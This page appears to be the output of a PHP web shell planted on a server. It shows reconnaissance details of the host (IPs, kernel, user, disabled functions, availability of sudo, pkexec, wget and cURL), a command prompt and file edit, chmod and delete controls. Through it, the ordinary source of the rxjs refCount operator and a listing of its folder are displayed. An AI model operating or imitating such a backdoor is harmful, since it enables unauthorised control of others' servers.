Na}{

Server IP: 172.31.39.10

Your IP: 172.69.130.193

Web Server: Apache/2.4.52 (Ubuntu)

System: Linux ip-172-31-39-10 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

User: www-data

PHP Version: 7.2.34-54+ubuntu22.04.1+deb.sury.org+1

Disable Function: pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, [more...]

MySQL: OFF

cURL: ON

WGET: ON

Perl: ON

Python: OFF

Sudo: ON

Pkexec: ON

Command Bosku:

Path: ~//data/deerhack25/backend/node_modules/rxjs/src/internal/operators/

File Content: `refCount.ts`

import { ConnectableObservable } from '../observable/ConnectableObservable';
import { Subscription } from '../Subscription';
import { MonoTypeOperatorFunction } from '../types';
import { operate } from '../util/lift';
import { createOperatorSubscriber } from './OperatorSubscriber';

/**
 * Make a {@link ConnectableObservable} behave like a ordinary observable and automates the way
 * you can connect to it.
 *
 * Internally it counts the subscriptions to the observable and subscribes (only once) to the source if
 * the number of subscriptions is larger than 0. If the number of subscriptions is smaller than 1, it
 * unsubscribes from the source. This way you can make sure that everything before the *published*
 * refCount has only a single subscription independently of the number of subscribers to the target
 * observable.
 *
 * Note that using the {@link share} operator is exactly the same as using the `multicast(() => new Subject())` operator
 * (making the observable hot) and the *refCount* operator in a sequence.
 *
 * ![](refCount.png)
 *
 * ## Example
 *
 * In the following example there are two intervals turned into connectable observables
 * by using the *publish* operator. The first one uses the *refCount* operator, the
 * second one does not use it. You will notice that a connectable observable does nothing
 * until you call its connect function.
 *
 * ```ts
 * import { interval, tap, publish, refCount } from 'rxjs';
 *
 * // Turn the interval observable into a ConnectableObservable (hot)
 * const refCountInterval = interval(400).pipe(
 *   tap(num => console.log(`refCount ${ num }`)),
 *   publish(),
 *   refCount()
 * );
 *
 * const publishedInterval = interval(400).pipe(
 *   tap(num => console.log(`publish ${ num }`)),
 *   publish()
 * );
 *
 * refCountInterval.subscribe();
 * refCountInterval.subscribe();
 * // 'refCount 0' -----> 'refCount 1' -----> etc
 * // All subscriptions will receive the same value and the tap (and
 * // every other operator) before the `publish` operator will be executed
 * // only once per event independently of the number of subscriptions.
 *
 * publishedInterval.subscribe();
 * // Nothing happens until you call .connect() on the observable.
 * ```
 *
 * @return A function that returns an Observable that automates the connection
 * to ConnectableObservable.
 * @see {@link ConnectableObservable}
 * @see {@link share}
 * @see {@link publish}
 * @deprecated Replaced with the {@link share} operator. How `share` is used
 * will depend on the connectable observable you created just prior to the
 * `refCount` operator.
 * Details: https://rxjs.dev/deprecations/multicasting
 */
export function refCount<T>(): MonoTypeOperatorFunction<T> {
  return operate((source, subscriber) => {
    let connection: Subscription | null = null;

    (source as any)._refCount++;

    const refCounter = createOperatorSubscriber(subscriber, undefined, undefined, undefined, () => {
      if (!source || (source as any)._refCount <= 0 || 0 < --(source as any)._refCount) {
        connection = null;
        return;
      }

      ///
      // Compare the local RefCountSubscriber's connection Subscription to the
      // connection Subscription on the shared ConnectableObservable. In cases
      // where the ConnectableObservable source synchronously emits values, and
      // the RefCountSubscriber's downstream Observers synchronously unsubscribe,
      // execution continues to here before the RefCountOperator has a chance to
      // supply the RefCountSubscriber with the shared connection Subscription.
      // For example:
      // ```
      // range(0, 10).pipe(
      //   publish(),
      //   refCount(),
      //   take(5),
      // )
      // .subscribe();
      // ```
      // In order to account for this case, RefCountSubscriber should only dispose
      // the ConnectableObservable's shared connection Subscription if the
      // connection Subscription exists, *and* either:
      //   a. RefCountSubscriber doesn't have a reference to the shared connection
      //      Subscription yet, or,
      //   b. RefCountSubscriber's connection Subscription reference is identical
      //      to the shared connection Subscription
      ///

      const sharedConnection = (source as any)._connection;
      const conn = connection;
      connection = null;

      if (sharedConnection && (!conn || sharedConnection === conn)) {
        sharedConnection.unsubscribe();
      }

      subscriber.unsubscribe();
    });

    source.subscribe(refCounter);

    if (!refCounter.closed) {
      connection = (source as ConnectableObservable<T>).connect();
    }
  });
}

Edit Rename Chmod Delete

FILE FOLDER

Name	Size	Permission
OperatorSubscriber.ts	5030 bytes	0644
audit.ts	3361 bytes	0644
auditTime.ts	2385 bytes	0644
buffer.ts	2457 bytes	0644
bufferCount.ts	4038 bytes	0644
bufferTime.ts	6428 bytes	0644
bufferToggle.ts	3534 bytes	0644
bufferWhen.ts	3474 bytes	0644
catchError.ts	4584 bytes	0644
combineAll.ts	183 bytes	0644
combineLatest.ts	1878 bytes	0644
combineLatestAll.ts	2462 bytes	0644
combineLatestWith.ts	1855 bytes	0644
concat.ts	1023 bytes	0644
concatAll.ts	2167 bytes	0644
concatMap.ts	3694 bytes	0644
concatMapTo.ts	3599 bytes	0644
concatWith.ts	1432 bytes	0644
connect.ts	4014 bytes	0644
count.ts	2299 bytes	0644
debounce.ts	4913 bytes	0644
debounceTime.ts	4703 bytes	0644
defaultIfEmpty.ts	1866 bytes	0644
delay.ts	2333 bytes	0644
delayWhen.ts	4704 bytes	0644
dematerialize.ts	2250 bytes	0644
distinct.ts	2982 bytes	0644
distinctUntilChanged.ts	6912 bytes	0644
distinctUntilKeyChanged.ts	2530 bytes	0644
elementAt.ts	2467 bytes	0644
endWith.ts	2568 bytes	0644
every.ts	2471 bytes	0644
exhaust.ts	156 bytes	0644
exhaustAll.ts	1986 bytes	0644
exhaustMap.ts	4199 bytes	0644
expand.ts	3672 bytes	0644
filter.ts	3533 bytes	0644
finalize.ts	2217 bytes	0644
find.ts	3637 bytes	0644
findIndex.ts	2730 bytes	0644
first.ts	3620 bytes	0644
flatMap.ts	148 bytes	0644
groupBy.ts	11273 bytes	0644
ignoreElements.ts	1564 bytes	0644
isEmpty.ts	2167 bytes	0644
joinAllInternals.ts	1360 bytes	0644
last.ts	3546 bytes	0644
map.ts	2589 bytes	0644
mapTo.ts	1672 bytes	0644
materialize.ts	2720 bytes	0644
max.ts	1407 bytes	0644
merge.ts	1640 bytes	0644
mergeAll.ts	2418 bytes	0644
mergeInternals.ts	6075 bytes	0644
mergeMap.ts	3829 bytes	0644
mergeMapTo.ts	2816 bytes	0644
mergeScan.ts	3296 bytes	0644
mergeWith.ts	1565 bytes	0644
min.ts	1408 bytes	0644
multicast.ts	5017 bytes	0644
observeOn.ts	3867 bytes	0644
onErrorResumeNextWith.ts	4239 bytes	0644
pairwise.ts	1923 bytes	0644
partition.ts	2823 bytes	0644
pluck.ts	4379 bytes	0644
publish.ts	4097 bytes	0644
publishBehavior.ts	1486 bytes	0644
publishLast.ts	2954 bytes	0644
publishReplay.ts	5326 bytes	0644
race.ts	1151 bytes	0644
raceWith.ts	1349 bytes	0644
reduce.ts	2837 bytes	0644
refCount.ts	4654 bytes	0644
repeat.ts	5353 bytes	0644
repeatWhen.ts	4899 bytes	0644
retry.ts	6535 bytes	0644
retryWhen.ts	4092 bytes	0644
sample.ts	2288 bytes	0644
sampleTime.ts	1937 bytes	0644
scan.ts	4143 bytes	0644
scanInternals.ts	2263 bytes	0644
sequenceEqual.ts	5557 bytes	0644
share.ts	11295 bytes	0644
shareReplay.ts	6108 bytes	0644
single.ts	3839 bytes	0644
skip.ts	1220 bytes	0644
skipLast.ts	3839 bytes	0644
skipUntil.ts	2713 bytes	0644
skipWhile.ts	2410 bytes	0644
startWith.ts	2669 bytes	0644
subscribeOn.ts	2053 bytes	0644
switchAll.ts	2123 bytes	0644
switchMap.ts	5477 bytes	0644
switchMapTo.ts	3035 bytes	0644
switchScan.ts	1934 bytes	0644
take.ts	2284 bytes	0644
takeLast.ts	3000 bytes	0644
takeUntil.ts	1935 bytes	0644
takeWhile.ts	3126 bytes	0644
tap.ts	8557 bytes	0644
throttle.ts	5214 bytes	0644
throttleTime.ts	2432 bytes	0644
throwIfEmpty.ts	1775 bytes	0644
timeInterval.ts	2355 bytes	0644
timeout.ts	16000 bytes	0644
timeoutWith.ts	4633 bytes	0644
timestamp.ts	1631 bytes	0644
toArray.ts	1379 bytes	0644
window.ts	3234 bytes	0644
windowCount.ts	4731 bytes	0644
windowTime.ts	7854 bytes	0644
windowToggle.ts	4485 bytes	0644
windowWhen.ts	4276 bytes	0644
withLatestFrom.ts	4826 bytes	0644
zip.ts	1461 bytes	0644
zipAll.ts	828 bytes	0644
zipWith.ts	1575 bytes	0644

Command Bosku:

File Content: refCount.ts

File Content: `refCount.ts`